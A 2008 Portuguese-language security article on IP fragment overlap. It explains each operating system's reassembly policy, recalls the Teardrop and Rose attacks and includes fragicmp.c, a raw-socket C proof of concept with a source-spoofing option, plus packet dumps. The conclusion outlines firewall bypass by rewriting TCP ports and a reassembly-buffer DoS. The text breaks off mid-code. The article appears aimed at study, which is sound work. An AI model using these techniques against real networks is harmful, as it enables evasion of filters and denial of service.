# Fragmentação IP
# (Exploring IP Fragmentation for Fun and Profit)

Felipe de Oliveira (Khun) - khun@hexcodes.org
**(20/05/2008)**

##################################
Anatomia e o Ataque
##################################

Um ataque sobre Fragmentação IP na sua mais simples essência, consegue ilustrar como realmente pode-se explorar o envio de sockets brutos e manipulá-los sob pequenos fragmentos.
Desde que a RFC 815 definiu em seu contexto sobre como o algoritmo de remontagem desses fragmentos deve ser aplicado para a pilha tcp/ip, muitas lacunas tem se achado nestas mesmas implementações, levando a ser um alvo bastante interessante sobre como manipular estes datagramas com objetivos próprios. Isso com base nestas próprias RFCs e suas políticas sobre remontagens (reassemblys) de fragmentação IP.
Diga-se de passagem que se um pacote é maior que o MTU definido em um enlace ou nó, este pacote deve ser "quebrado" em pedaços - (fragmentos múltiplos de octetos) - a fim de forçar seu tráfego correto na midia física de comunicação. Ok, entender a situação toda antes dita e já definida pelas próprias diretrizes das RCFs é de longe o gargalo do conceito. Todavia, implementar um ataque que realmente explore a definição torta ali colocada, pode exemplificar e dar uma boa noção de como as RFCs vomitam vulnerabilidades na parte prática de suas próprias implementações.

Desde as analogias de Teardrop.c (Mike Schiffman) - que explorava a função ip_glue() na parte de alocação dinâmica em muitas implementações de Sistemas Operacionais (Ataque Teardrop: Fragmentos IP com tamanhos negativos eram forçados para uma cópia em memória com memcpy(), onde o kernel do sistema não tratava corretamente esse valor e vomitava SIGVFAULT) - abriu se uma lacuna gigantesca na abordagem de como a pilha TCP/IP remonta/processa/repassa esses datagramas ao Kernel alvo. Rose.c (Ken Hollis) e NewDawn.c chegariam mais tarde mostrando nesse mesmo paradigma como a implementação das RFCs falham na implantação prática dos algoritmos de remontagens desses fragmentos. Basicamente a idéia do "Rose" e do "NewDawn" eram explorar a forma como o Kernel tratava a remontagem dos fragmentos localmente. "Rose" enviava pacotes iniciais mirando o offset 0x0000 com MF ligada (0x2000). Logo após a massiva chuva de fragmentos com offset inicial de vários datagramas com id diferentes (fragmentos de datagramas diferentes), ele enviava fragmentos desses mesmos datagramas no offsset 0x1FFF, ou seja, último offset com MF desligada- (0x1fff * 8= 65.536 == 65k) - assim o Sistema Operecional alocava um buffer de 65K que nunca era completado pelos fragmentos restantes. Na teoria um alto consumo de memória, e por sua vez processamento desnecessário que comprometia o desempenho do Sistema. Como exemplificado pelos códigos e as analogias, foram técnicas evasivas que conseguiram mostrar muito claramente como a torta implementação das RFCs nos algorítmos de reassembly não satisfazem por completo.

Essa definição descrita aqui pode exemplificar claramente como os buracos deixados pelas documentações regidas pelas RFCs ainda não impedem que muitas variações destes tipos de ataques continuem nascendo. Um outro segmento crítico dessa abordagem e que será discutido aqui é o Overlap Fragmentation (Sobreposição de Fragmentos).

Escrevi Fragicmp.c que visa ilustrar exatamente esse cenário, e como a sobreposição de fragmentos IP pode comprometer um Sistema.
Veja a análise:

*Se sobrescrevermos dados previamente enviados com fragmentos mirando um Offset pré-definido, com campos pré-escolhidos e preenchidos em tempo de compilação, seria possível usar a Pilha TCP/IP ou tangenciar um filtro ou Firewall) ??*

**R: Sim e Não!**

Veja o conceito:

Entendendo o algoritmo de Remontagem:
Para um módulo/processo de enlace fazer a remontagem dos fragmentos que chegam, ele precisa verificar 4 campos para conseguir reagrupar estes fragmentos.
ID (identification) | PROTOCOL | Source IP | Dest. IP.

O Kernel do Sistema junta estes 4 campos e define que os pacotes que chegam são de um mesmo datagrama e os remonta.
O Campo definido em "offset" irá dizer "onde", em que porção do datagrama aquele pacote será montado. Logo o aloca no buffer. Essa porção é sempre múltiplo de um octeto, pois o offset contem um ponteiro que aponta para o primeiro endereço do bloco no buffer, onde o próximo fragmento aponta para o endereço um byte acima (8). Por isso múltiplo de octetos.
Quando fragmentos com o bit MF ligado chegam, seus campos vão sendo verificados e então monta-se o Buffer. Essa montagem (reassemby) pode ser feita tanto no Sistema alvo como também no Sistema do remetente do pacote, depende como o kernel o configura para tratamento desses pacotes. Os fragmentos podem chegar desordenadamente como ordenadamente. Um Buffer incompleto pode ainda ter lacunas a serem preenchidas, isso nos diz que pode haver um buffer com 2 fragmentos montados e ainda restando 3; sendo que estes dois podem ser o primeiro fragmento (MF=1) e o último fragmento(MF=0) já armazenados.

Com base nessas definições, pode-se definir um datagrama criado com sockets brutos e previamente montado, que fosse enviado de tal forma (fragmentado) que alguns fragmentos sobrescrevessem outros já enviados anteriormente, alterando o
offset e os campos de payload. Esta exata situação descrita define-se como "Fragmentation Overlap" (Sobreposição de Fragmentos).

Mandar-se um datagrama udp fragmentado em dois pacotes:
O primeiro contendo o Header Ip, MF=1, offset= 0x0000 e parte do payload;
No segundo fragmento o Header IP, MF=0, Offset=0x0000 e parte do restante do payload sobrescrevendo a montagem do buffer no processamento final do kernel. Isso é totalmente legal, e o pacote seria processado. Contudo surge um problema singular que precisa ser muito bem avaliado.

>> O Algoritmo de Remontagem do Sistema Alvo <<.

Tendo em mente que uma politica de Remontagem de Fragmentos existe, toda a parte de estrutura de remontagem dos pacotes é particular de cada Sistema/Módulo por Sistema Operacional. Cada OS mantém sua própria política de remontagem de fragmentos, um algoritmo próprio para reassembly de acordo com cada kernel de Sistema Operacional.
O estudo do Modelo de Paxson e Shankar (Vern Paxson e Umesh Shankar) ilustra claramente como cada sistema tem sua particularidade na remontagem de pacotes fragmentados. Isso é muito importante para entender como cada Sistema/módulo remonta os fragmentos e assim define seu modo de exploração. Segundo Shankar, pode-se testar esses algoritmos com técnicas de evasão de IDS a base de Overlap Fragmentation.
Seguindo o conceito e o modelo mostrado tem-se a seguinte idéia:

Criam-se pacotes com uma série de 6 fragmentos, ID variados, offset variados e diferentes payloads para envio:

1 - Pelo menos "um" fragmento é totalmente sobrescrito por um subsequente fragmento com um idêntico offset e tamanho.

2 - Pelo menos "um" fragmento é parcialmente sobrescrito por um subsequente fragmento com um offset maior do que o Original.

3 - Pelo menos "um" fragmento é parcialmente sobrescrito por um subsequente fragmento com um offset menor do que o Original.

O Payload pode ser definido com Char "AAAA", "BBBB", "CCCC", etc.. para definir uma tag para os fragmentos. Isso ajuda na avaliação. Como medida de resposta, se tem uma definição bem clara de como os sistemas alvos irão responder aos pacotes.

Exemplo:
Cria-se um datagram ICMP tipo 8 (echo request) fragmentado, e define-se o payload de cada fragmento com buffer "AAAA..", "BBBB..", "CCCC.., etc" e faz-se o envio do datagrama em fragmentos, onde cata fragmento contem o payload definido.
Observando as respostas e analisando o modelo, pode-se constatar as definições de como cada pilha TCP/IP se comporta em relação a remontagem dos pacotes.

Veremos então as 5 seguintes Políticas de Remontagem de Fragmentos (Fragmentation Policy Reassembly):

- **BSD favorece um original fragmento com offset "menor" ou "igual" ao subsequente fragmento.**
- **BSD-right favorece um subsequente fragmento, quando o original fragmento tem um offset que é "menor" ou "igual" ao subsequente.**
- **Linux favorece um original fragmento com offset "menor" ao subsequente fragmento.**
- **Primeiro favorece "o original" fragmento com um dado offset.**
- **Último favorece "o subsequente" fragmento com um dado offset.**

Observando o modelo com pacotes ICMP Echo Request, pode-se verificar o Reply e notar que cada Sistema operacional
responde unicamente ao Echo Request com overlap de Fragmentos, ou seja, como cada pilha tem sua maneira de remontagem
de fragmentos. Uma listagem de alguns Sistemas segundo a Política de Remontagem de Fragmentos:

| Politica/ Fragmentação Policy / Fragmentation | Plataformas - (Sistema Operacional): |
|---|---|
| BSD-right | HP JetDirect |
| BSD | AIX 2, 4.3, 8.9.3, FreeBSD, HP-UX B.10.20, IRIX 4.0.5F, 6.2, 6.3, 6.4, NCD Thin Clients, OpenBSD, OpenVMS, OS/2, OSF1, SunOS 4.1.4, Tru64 Unix V5.0A,V5.1, Vax/VMS |
| Linux | Linux 2.x |
| Primeiro | HP-UX 11.00, MacOS (version unknown), SunOS 5.5.1,5.6,5.7,5.8, Windows (95/98/NT4/ME/W2K/XP/2003) |
| Último | Cisco IOS |

Como vemos, cada Sistema Operacional tem sua própria Política de Remontagem de Fragmentos. Com base nesta informação, a exploração por meio de envio de sockets brutos e Overlap pode ter sucesso ou não. Veja:

```
for(i=20; i <= 27; i++)       // Define o Buffer do 3o Fragmento com char C
     dados[i]= 'C';           // Header Ip (20 Bytes) + dados (8 bytes)= Total
                              // Envio de 28 Bytes no 3o Fragmento
                              // Inserir no 4o Octeto do Buffer (MF ligada= 0x2000)

ip->frag_off = htons(0x4 | 0x2000);
ip->tot_len = htons(0x1c);
ip->check = in_cksum((u_short *)ip, sizeof(struct iphdr));
fprintf(stderr,"Enviando Fragmento ICMP 3 - Host [%s]...\n", inet_ntoa(alvo.sin_addr));
E= sendto(mysock, dados, 0x1c, 0,(struct sockaddr *) &alvo, sizeof(alvo));
if (E == ERR)
{ fprintf(stderr,"/nErro em Send/n/n");
      close(sockicmp); close(mysock); free(dados); exit(-1); }
else fprintf(stderr,"Ok...\n\n");
sleep(1);
                  //.....................................//

for(i=20; i <= 27; i++)       // Define o Buffer do 4o Fragmento com char D
      dados[i]= 'D';          // Header Ip (20 Bytes) + dados (8 bytes)= Total
                              // Envio 28 Bytes no 4o Fragmento
                              // Inserir no 4o Octeto do Buffer (MF desligada= 0x0000)

ip->frag_off = htons(0x4 | 0x0000);     ip->tot_len = htons(0x1c);
ip->check = in_cksum((u_short *)ip, sizeof(struct iphdr));
fprintf(stderr,"Enviando Fragmento ICMP 4 - Host [%s]...\n", inet_ntoa(alvo.sin_addr));
E= sendto(mysock, dados, 0x1c, 0,(struct sockaddr *) &alvo, sizeof(alvo));
if (E == ERR)
 { fprintf(stderr,"/nErro em Send/n/n");
      close(sockicmp); close(mysock); free(dados); exit(-1); }
else fprintf(stderr,"Ok...\n\n");
```

No primeiro pacote enviado acima em sendto(), o offset é definido para ser montado em 0x0004 com MF ligada (0x2000) e com payload de chars "CCCCCCCC". No segundo envio antes de seu sendto(), cria-se um pacote com payload de chars "DDDDDDDD", MF desligada (0x0000) e offset 0x0004), onde esse payload sobrescreverá o anterior de chars "CCCCCCCC" com buffer de chars "DDDDDDDD" (no offset 0x0004). No trecho desse código podemos visualizar bem a idéia aqui intencionada e entender as Políticas de Remontagem. Se o Host alvo tiver a politica de remontagem "Primeiro" (Windows) ele aceita os fragmentos mas não processa o pacote com o fragmento "DDDDDDDD", pois como vimos acima a police "Primeiro" favorece o fragmento original e descarta os subseqüentes com intenção de Overlap.

Se o Host alvo tiver a política de remontagem "Último" (Cisco) ou a política Linux (Linux kernel 2.x.x), o fragmento subsequente será favorecido e a remontagem será feita pelo sistema com Overlap, fazendo com que o payload de "DDDDDDDD" sobrescreva o buffer que antes tinha payload "CCCCCCCC".

## Fragicmp - (For Fun and Profit)

Usando fragicmp.c podemos na prática ter uma idéia bem concreta de como explorar o Overlap Fragmentation. No código da ferramenta cria-se um pacote com alocação dinâmica de memória que faz o tratamento do envio nos fragmentos. O pacote possúi um tamanho de 60 bytes. Envia-se o datagrama ICMP Echo Request fragmentado em 4 pacotes.
Veja:

- No 1° Fragmento envia-se um pacote bruto com o seu obrigatório Header IP (20 bytes) + Header ICMP (8 bytes) + 8 bytes de payload com char "AAAA AAAA". MF está ligada e mirará o offset 0x0000. O campo ip->tot_len é setado para 0x24 (36 bytes) que é o tamanho do total do fragmento enviado. Nesse primeiro fragmento um Header IP e o Header Icmp completo precisam ser enviados com o importantíssimo campo de "checksum" (icmp->checksum) preenchido. Como explícito no código o checksum precisa ser calculado antes do envio do datagrama todo, pois como o enviamos no header icmp sem Overlap, ele precisará ser calculado previamente antes do primeiro envio em sendto(). O checksum para o Header IP também precisa ser calculado obrigatoriamente antes de cada fragmento enviado.
  Ex:

```
for(i=28; i <= 35; i++)        // Define o buffer de dados com char A
                               // (header ip (20 bytes) +
  dados[i]= 'A';               // header Icmp(8 bytes) +
                               // dados (8 bytes) = Total Envio no
                               // 1o Fragmento 36 Bytes.

for (i=36; i<= 51; i++)        // Aqui nós precisamos definir o paylod
      dados[i]= 'B';           // com certa antecedência. O checksum
for (i=52; i<= 59; i++)        // precisa ser calculado antes do envio
      dados[i]= 'C';           // do 1o Fragmento, pois o buffer recebe o
for (i=52; i<= 59; i++)        // campo antes. Logo, precisamos calcular
      dados[i]= 'D';           // o cksum do datagrama inteiro antes de sendto()

fprintf(stderr,"Enviando Fragmento ICMP 1 - Host [%s]...\n", inet_ntoa(alvo.sin_addr));
icmp->checksum= in_cksum((u_short *) icmp, ((sizeof(struct icmphdr))+ 32));
E= sendto(mysock, dados, 0x24, 0,(struct sockaddr *) &alvo, sizeof(alvo));
if (E == ERR)
 { fprintf(stderr,"/nErro em Send\n\n");
```

- No 2° Fragmento envia-se outro pacote bruto com o obrigatório Header IP (20 bytes) + 16 bytes de payload estufados com char "BBBB BBBB BBBB BBBB". MF é setada e mirará o offset 0x0002 (Offset 0x0001 agora contém "AAAAAAAA"). Como definido pela RFC, um único envio de um fragmento precisa no mínimo conter o Header IP. Como o header ICMP já foi enviado, então o 21° byte deve conter o payload válido (buffer "BBBBBBBB BBBBBBBB"). O campo ip->tot_len é setado para 0x24 (36 bytes) que é o tamanho total desse fragmento. O campo ip->check que fará o checksum do cabeçalho IP precisa ser chamado aqui para cálculo também.

- No 3° Fragmento outro pacote bruto com o obrigatório Header IP (20 bytes) + 8 bytes de payload. MF continua setada e o campo offset agora é setado para 0x0004 preenchidos com o char "C", (OffSet 0x0001 contem "AAAA AAAA" e Offset 0x0002 e 0x0003 contem respectivamente "BBBBBBBB BBBBBBBB"). Como definido nos pacotes anteriores, ip->tot_len é setado para 0x1c (28 bytes) que é o tamanho do fragmento enviado. O campo ip->check que fará o checksum do cabeçalho IP é chamado aqui para cálculo novamente.

- No 4° Fragmento e último pacote, envia-se o obrigatório Header IP (20 bytes) + 8 bytes de payload preenchidos com o char "DDDD DDDD". ip->tot_len é setado para 0x1c (28 bytes) que é o tamanho do fragmento. ip->check também é calculado. MF agora é zerada, alegando ser o último pacote do datagrama, e mirará o offset 0x0004 novamente. Aqui o Overlap !!

**Veja:**
Sobrescreve-se a área de payload enviada anteriormente contendo buffer "CCCC CCCC" com o payload "DDDD DDDD" mirando o mesmo offset 0x0004. Após a chagada desse fragmento como último do datagrama, o buffer em teoria já estaria completo mas o Kernel do Sistema ainda entende vir mais fragmentos por não chegar nenhum fragmento ainda pela flag MF zerada, e com offset definido. O Buffer ainda permanece aberto e com recursos ocupados, demandando de hardware um overhead por causa da ocupação desse Buffer.

Se dispararmos esse datagrama para um Sistema MsWindows, apresentará time out na recepção pelo excesso de tempo no Echo Reply. Isso acontecerá pela definição que vimos acima onde Sistemas com Política de remontagem "Primeiro", favorecem o fragmento Original
sem qualquer possibilidade de Overlap. MsWindows tem o algoritmo de remontagem com policy "Primeiro".
Se dispararmos esse pacote contra um Cisco ou Linux, o fragmento será sobrescrito e a pilha TCP/IP responderá o Echo Request com
o Echo Reply. Como exemplifica nas Políticas de Remontagem de Fragmentos, sistemas com Policy "Último" sempre favorecem os fragmentos subsequentes.

Veja como o Sistema alvo (Linux 2.x) recebe o datagrama Icmp Echo Request fragmentado em 4 pacotes com Overlap:

**# ./fragicmp -d 10.1.12.2**

(Dump)

---

```
10:39:47.720200 IP 10.1.100.100 > 10.1.12.2: ICMP echo request, id 10752, seq 1, length 16
        0x0000:  4500 0024 bcb8 2000 8001 d9b8 0a01 6464  E..$..........dd
        0x0010:  0a01 0c02 0800 a5d6 2a00 0001 4141 4141  ........*...AAAA
        0x0020:  4141 4141                                AAAA
10:39:48.719482 IP 10.1.100.100 > 10.1.12.2: icmp
        0x0000:  4500 0024 bcb8 2002 8001 d9b6 0a01 6464  E..$..........dd
        0x0010:  0a01 0c02 4242 4242 4242 4242 4242 4242  ....BBBBBBBBBBBB
        0x0020:  4242 4242                                BBBB
10:39:49.725676 IP 10.1.100.100 > 10.1.12.2: icmp
        0x0000:  4500 001c bcb8 2004 8001 d9bc 0a01 6464  E.............dd
        0x0010:  0a01 0c02 4343 4343 4343 4343            ....CCCCCCCC
10:39:50.726051 IP 10.1.100.100 > 10.1.12.2: icmp
        0x0000:  4500 001c bcb8 0004 8001 f9bc 0a01 6464  E.............dd
        0x0010:  0a01 0c02 4444 4444 4444 4444            ....DDDDDDDD
10:39:50.726451 IP 10.1.12.2 > 10.1.100.100: ICMP echo reply, id 10752, seq 1, length 40
        0x0000:  4500 003c 8969 0000 4001 6cf0 0a01 0c02  E..<.i..@.l.....
        0x0010:  0a01 6464 0000 add6 2a00 0001 4141 4141  ..dd....*...AAAA
        0x0020:  4141 4141 4242 4242 4242 4242 4242 4242  AAAABBBBBBBBBBBB
        0x0030:  4242 4242 4444 4444 4444 4444            BBBBDDDDDDDD
```

---

Como discutido, o terceiro envio com o payload "CCCCCCCC" é "Overlapped" (sobrescrito) pelo subsequente 4° fragmento com payload "DDDDDDDD". Note o Echo Reply logo abaixo dos envios e o payload devolvido. Ele retorna exatamente o Buffer sobrescrito que enviamos naturalmente sem erros no envio dos pacotes. O payload devolvido ficou como "AAAAAAAABBBBBBBBBBBBBBBBDDDDDDDD", onde o último octeto que possuía buffer "CCCCCCCC" foi totalmente sobreposto pelo octeto com buffer "DDDDDDDD".

!! Overlap Fragmentation Success !!

## Conclusão

Observando esse ambiente e replicando de uma forma mais concentrada, poderia se definir um algorítmo ou uma rotina que abrisse inúmeros buffers de remontagem no receptor, com o objetivo de executar um DoS. Ou ainda sobrepor fragmentos devidamente calculados para "bypassar" um IDS ou um Filtro (Firewall). Rose ou Teardrop quando foram disparados pela primeira vez causaram enorme impacto pela metodologia aplicada, gerando discussões inteiras sobre o prospecto atual do cenário falho que envolve a cultura TCP/IP. Poderia se implementar rotinas tcp ou invés de icmp que justamente usasse de Overlap para burlar filtros. Usando Overlap, essa metodologia seria por vetores de fragmentos (geralmente o segundo ou terceiro), que sobrescrevesse o payload com as flags TCP ou portas TCP.
Por exemplo:

Cria-se um datagrama normal: No primeiro fragmento envia-se um pacote com bit MF ligado e offset= 0x0000 com payload de um pacote SYN, mirando a porta 80 (default em sistemas de serviços WEB e já liberados por filtros/firewall). No segundo fragmento envia-se um pacote com payload mínimo mirando esse vetor no offset= 0x0000, sobrescrevendo
justamente a parte do buffer que remonta as portas (origem e destino) e as flags Tcp. Esse pacote conteria no próprio payload as portas arbitrárias que queira-se manipular. Exemplo: 22/SSH. Como os filtros fazem verificações em cima do primeiro fragmento e este já foi previamente autorizado, esse pacote será aceito sobrescrevendo o payload com a porta 80 (ou qualquer outro dado previamente construído) para a porta 22. Acesso a uma porta que não é autorizada.
Essa implementação é totalmente legal e pode ser fatal em códigos de Firewall que não verificam fragmentos atuantes, ou ainda datagramas fragmentados com flags e offsets suspeitos.

---

# Fragicmp.c
### (Exploration of IP Fragmentation – POC)

```
----------------------------------------| Corte aqui |-----------------------------------
/*
################################################################
################################################################
#                                                              #
#           Frag - Emissor de Pacotes Fragmentados ICMP        #
#                    Sender of Frags ICMP Packets              #
#                    GPL - General Public License              #
#                            -- ## --                          #
#                       Name: fragicmp - v0.2                  #
#                          Autor: Khun                         #
#                       Date:   20/05/2008                     #
#                                                              #
#                               Khun                           #
#             Felipe de Oliveira - khun@hexcodes.org           #
#                                                              #
################################################################*/


//==============================================================================
//                             Fragicmp:
//
// Envia um datagrama ICMP tipo 8 (Echo Request) fragmentado em quatro pacotes.
//
// No 1o Pacote existe o envio do 1o fragmento com Header Ip +
// Header icmp + 8 bytes de payload de dados c/ Char "A" (flag MF e offsset Zero).
//
// No 2o Fragmento vem envio do header Ip + 16 bytes de payload de dados c/ char "B".
// (flag MF e offsset 2).
// Offset 2 ==> Acrescentar os dados a partir do segundo octeto no buffer.
// O 1o octeto contem o char "A" do primeiro fragmento.
//
// No 3o Fragmento vem o envio do Header IP + 8 bytes de payload de dados c/ char "D".
// (Flag MF e offset 4)
```

```
// OffSet 4 ==> Acrescentar os dados a partir do quarto octeto no Buffer.
// O 2o  e o 3o Octeto contem o char "B" (16 bytes dados) enviado no 2o Fragmento.
//
// Com isso, embora o buffer ja esteja completo, a flag MF diz a pilha TCP/IP
// do Sistema que ainda restam fragmentos. Entao aguarda por mais pacotes.
//
// No 4o Fragmento vem o envio do Header Ip + 8 bytes de payload de dados c/ char "C".
// (Flag MF zerada offset 4)
// Offset 4 ==> Aqui o Overlaping c/ ultimo fragmento (MF= 0x0004).
// Eu sobreescrevo a area de dados enviado anteriormente no fragmento 3 (CHAR "C"),
// e aqui vem o envio do payload de dados com char "D" mirando o offset 0x0004,
// que por sua vez "sobrescreve" essa area que anteriormente continha "C".
// O Overwrite acontece na recepcao do pacote que sera montado pelo Kernel.
//
//============================================================================================

#include <stdio.h>
#include <stdlib.h>
#include <string.h>
#include <time.h>
#include <unistd.h>
#include <netdb.h>
#include <sys/socket.h>
#include <sys/ioctl.h>
#include <netinet/ip.h>
#include <netinet/ip_icmp.h>
#include <arpa/inet.h>
#include <linux/if.h>

#define ERR      -1

// Globais
int io;


// CheckSum Global
u_short in_cksum(u_short *addr, int len)
{
    register int nleft  = len;
    register u_short *w = addr;
    register int sum    = 0;
    u_short answer      = 0;

    while (nleft > 1)  {
        sum   += *w++;
        nleft -= 2;
    }

    if (nleft == 1) {
        *(u_char *)(&answer) = *(u_char *)w ;
        sum += answer;
    }

    sum    = (sum >> 16) + (sum & 0xffff);
    sum   += (sum >> 16);
    answer = ~sum;
    return(answer);
}

// meu_ip()
char *meu_ip(const char *placa)
{
      int meu_sock;
      struct ifreq e;
      char *ip;

      meu_sock = socket(AF_INET, SOCK_DGRAM, 0);
      e.ifr_addr.sa_family = AF_INET;
      strncpy(e.ifr_name, placa, IFNAMSIZ-1);
      io= ioctl(meu_sock, SIOCGIFADDR, &e);
      close(meu_sock);
```

```
      ip= (char *) inet_ntoa(((struct sockaddr_in *)&e.ifr_addr)->sin_addr);
      return ip;
}


//                  Aqui tem inicio Main()
//    Alguns Sistemas Operacionais como o MSWINDOWS tem uma
//    política (algoritmo) de remontagem de fragmentos chamada de
//    "Fragmentation Policy First", onde o algorítmo de reassembly
//    de fragmentos favorece o fragmento original do datagrama, sendo
//    que qualquer fragmento com Offset já enviado não será sobrescrito.
//
//    Com isso, Win32 xp ou win2k3 podem não responder ao echo request
//    por nao remontar o 4o fragmento com overlaping, acusando cksum error,
//    ou alerta de Overlap
//
//    Altere o tamanho do buffer "dados" e mude o offset do quarto
//    fragmento de 0x4 para 0x5. Assim não haverá Overlap e a pilha do Sistema
//    MsWindows passa a processar o pacote echo request.
//
//    *NIX se comportam normalmente. BSD systems também.


int main(int argc, char *argv[])
{
          char *origem, *destino="", *end_ip;
        unsigned char  *dados, *recvbuff;
        struct icmphdr *icmp;
        struct iphdr *ip;
        struct sockaddr_in home, alvo, remoto;
        struct hostent *host;
        struct timeval tim;
        fd_set redfs;
        static char opcoes[] = "s:d:";
        int mysock, opt, sockicmp, n, i, E, sel, setsock= 1;
        unsigned int tamrem;

  if ((argc < 3) || (argc > 5))
     {
           fprintf(stderr,"\nUse: \n%s -d (Destino)\n", argv[0]);
           fprintf(stderr,"%s -s (Origem) -d (Destino) \t\t - Opcao \"-s\" opcional
[spoof].\n\n", argv[0]);
           exit(1);
     }

  origem= NULL;
  while((opt = getopt(argc,argv,opcoes)) != -1)
     switch(opt)
     {
         case 'd':
           {
             destino= (char *) optarg;
           break;
         }
         case 's':
         {
           origem= (char *) optarg;
           break;
         }
         default:
           {
             fprintf(stderr,"Opcao Invalida!\n");
             exit(-1);
           }
      }
     if(!origem)
     {
      end_ip= meu_ip("eth0");
      if (!(io))
            { origem= end_ip; goto P; }
      end_ip= meu_ip("eth1");
```

```
      if (!(io))
            { origem= end_ip; goto P; }
      end_ip= meu_ip("eth2");
      if (!(io))
            { origem= end_ip; goto P; }
      end_ip= meu_ip("eth3");
      if (!(io))
            { origem= end_ip; goto P; }
      end_ip= meu_ip("eth4");
      if (!(io))
            { origem= end_ip; goto P; }
      fprintf(stderr,"\nSem Interfaces de Rede definida, Use -s \n\n");
      exit(-1);
     }
P:

  srand(time(NULL));
  mysock= socket(AF_INET, SOCK_RAW, IPPROTO_RAW);
  sockicmp= socket(AF_INET, SOCK_RAW, 1);

  if (mysock < 0) { perror("\nFalha ao Criar o Socket IPPROTO_RAW !!\n");  exit(ERR); }
  if (sockicmp < 0) { perror("\nFalha ao Criar o Socket IPPROTO_ICMP !!\n");  exit(ERR); }
  setsockopt(mysock, IPPROTO_IP, IP_HDRINCL, (char *) &setsock, sizeof(setsock));

  alvo.sin_family= AF_INET;
  if ((host= (struct hostent *) gethostbyname(destino)) == NULL)
  {
       herror("Erro em Hostname de Destino -- Dest Failure");
      close(mysock); close(sockicmp); exit(ERR);
  }
  bcopy(host->h_addr_list[0], &(alvo.sin_addr.s_addr),host->h_length);
  for (i= 0; i < 8; i++) alvo.sin_zero[i]= '\0';

  home.sin_family= AF_INET;
  home.sin_addr.s_addr= inet_addr(origem);
  for (i= 0; i < 8; i++)
          home.sin_zero[i]= '\0';

  dados= (unsigned char *) calloc(1, 60); // Aloca 1 buffer com 60 bytes, inicializa com 0'
  if (!dados)
  {
      fprintf(stderr,"\nImpossivel alocar memoria!\n\n");
      close(sockicmp); close(mysock); exit(-1);
  }

  ip= (struct iphdr *) dados;
  icmp= (struct icmphdr *) (dados + sizeof(struct iphdr));

     ip->saddr = home.sin_addr.s_addr;    // Ip Origem
     ip->daddr = alvo.sin_addr.s_addr;    // Ip Destino
     ip->version = (20 / 5);              // Versao proto IP "4"
     ip->frag_off= htons(0x2000);         // flag MF, e offsset 0x000
     ip->ihl = 5;                         // tam. cabecalho Ip= 5 Octetos
     ip->ttl = 0x80;                      // TTL 0x80
     ip->id = rand() % 0xffff;            // ID ranomico entre 0 e 0xFFFF
     ip->protocol = 1;                    // Proto 1 (icmp)
     ip->tot_len = htons(0x24);           // Tam total do 1o Fragmento
     ip->check = in_cksum((u_short *)ip, sizeof(struct iphdr));

      icmp->type                    =  0x08;               //Echo Request
      icmp->code                    =  0;
      icmp->checksum                =  0;
      icmp->un.echo.id              =  rand() % 0xFF;      // Id randomico entre
                                                           // 0x0 e 0xFF
      icmp->un.echo.sequence        =  htons (1);          // Sequencia echo 1

     for(i=28; i <= 35; i++)             // Define o buffer de dados com char A
                                         // header ip (20 bytes) +
       dados[i]= 'A';                    // header Icmp(8 bytes) +
                                         // dados (8 bytes) = Total Envio no
                                         // 1o Fragmento 36 Bytes.
```

```
 for (i=36; i<= 51; i++)             // Aqui nos precisamos definir o paylod
       dados[i]= 'B';                // com certa antecedencia. O checksum
 for (i=52; i<= 59; i++)             // precisa ser calculado antes do envio
       dados[i]= 'C';                // do 1o Fragmento, pois o buffer recebe
 for (i=52; i<= 59; i++)             // campo antes. Logo, precisamos calcular
       dados[i]= 'D';                // o cksum do datagrama inteiro antes de sendto

 fprintf(stderr,"Enviando Fragmento ICMP 1 - Host [%s]...\n", inet_ntoa(alvo.sin_addr));
 icmp->checksum= in_cksum((u_short *) icmp, ((sizeof(struct icmphdr))+ 32));
 E= sendto(mysock, dados, 0x24, 0,(struct sockaddr *) &alvo, sizeof(alvo));
 if (E == ERR)
  { fprintf(stderr,"/nErro em Send\n\n");
    close(mysock); close(sockicmp); free(dados); exit(-1); }
 else fprintf(stderr,"Ok...\n\n");
 sleep(1);

  //=========================================================//

 for(i=20; i <= 35; i++)             //Define o Buffer do 2o Fragmento com char B
      dados[i]= 'B';                 //Header Ip (20 Bytes) + dados (16 bytes)= Total
                                     //Envio 36 Bytes no 2o Fragmento

 ip->frag_off = htons(0x2 | 0x2000); // Inserir no segundo octeto do Buffer
 ip->tot_len = htons(0x24);
 ip->check = in_cksum((u_short *)ip, sizeof(struct iphdr));
 fprintf(stderr,"Enviando Fragmento ICMP 2 - Host [%s]...\n", inet_ntoa(alvo.sin_addr));
 E= sendto(mysock, dados, 0x24, 0,(struct sockaddr *) &alvo, sizeof(alvo));
 if (E == ERR)
  { fprintf(stderr,"/nErro em Send/n/n");
        close(mysock); close(sockicmp); free(dados); exit(-1); }
 else fprintf(stderr,"Ok...\n\n");
 sleep(1);

 //=========================================================//

 for(i=20; i <= 27; i++)             //Define o Buffer do 3o Fragmento com char C
       dados[i]= 'C';                //Header Ip (20 Bytes) + dados (8 bytes)= Total
                                     //Envio 28 Bytes no 3o Fragmento

 ip->frag_off = htons(0x4 | 0x2000); // Inserir no quarto octeto do buffer
 ip->tot_len = htons(0x1c);
 ip->check = in_cksum((u_short *)ip, sizeof(struct iphdr));
 fprintf(stderr,"Enviando Fragmento ICMP 3 - Host [%s]...\n", inet_ntoa(alvo.sin_addr));
 E= sendto(mysock, dados, 0x1c, 0,(struct sockaddr *) &alvo, sizeof(alvo));
 if (E == ERR)
  { fprintf(stderr,"/nErro em Send/n/n");
        close(sockicmp); close(mysock); free(dados); exit(-1); }
else fprintf(stderr,"Ok...\n\n");
sleep(1);

  //=========================================================//

 for(i=20; i <= 27; i++)             //Define o Buffer do 4o Fragmento com char D
        dados[i]= 'D';               //Header Ip (20 Bytes) + dados (8 bytes)= Total
                                     //Envio 28 Bytes no 4o Fragmento
 ip->frag_off = htons(0x4 | 0x0000);       // Inserir no 4o Octeto do Buffer
                                     //(MF desligada= 0x0000)
 ip->tot_len = htons(0x1c);
 ip->check = in_cksum((u_short *)ip, sizeof(struct iphdr));
 fprintf(stderr,"Enviando Fragmento ICMP 4 - Host [%s]...\n", inet_ntoa(alvo.sin_addr));
 E= sendto(mysock, dados, 0x1c, 0,(struct sockaddr *) &alvo, sizeof(alvo));
 if (E == ERR)
  { fprintf(stderr,"/nErro em Send/n/n");
        close(sockicmp); close(mysock); free(dados); exit(-1); }
 else fprintf(stderr,"Ok...\n\n");

  //=========================================================//

  tim.tv_sec= 4;  //timeout 4 segundos...
  tim.tv_usec= 0; // Microsegundos...
```

```
      FD_ZERO(&redfs);
      FD_SET(sockicmp, &redfs);
